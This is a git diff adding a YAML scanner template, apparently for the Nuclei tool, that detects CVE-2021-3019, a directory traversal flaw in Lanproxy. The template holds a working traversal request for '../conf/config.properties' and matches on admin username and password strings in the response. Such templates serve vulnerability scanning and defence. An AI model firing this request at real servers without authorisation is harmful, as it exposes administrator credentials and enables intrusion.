diff --git a/cves/2021/CVE-2021-3019.yaml b/cves/2021/CVE-2021-3019.yaml new file mode 100644 index 0000000000..6463b737bb --- /dev/null +++ b/cves/2021/CVE-2021-3019.yaml @@ -0,0 +1,30 @@ +id: CVE-2021-3019 + +info: + name: Lanproxy Directory Traversal + author: pikpikcu + severity: medium + + # Refrence: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3019 + +requests: + - method: GET + path: + - "{{BaseURL}}/../conf/config.properties" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "application/octet-stream" + condition: and + part: header + - type: word + words: + - "config.admin.username" + - "config.admin.password" + condition: and + part: body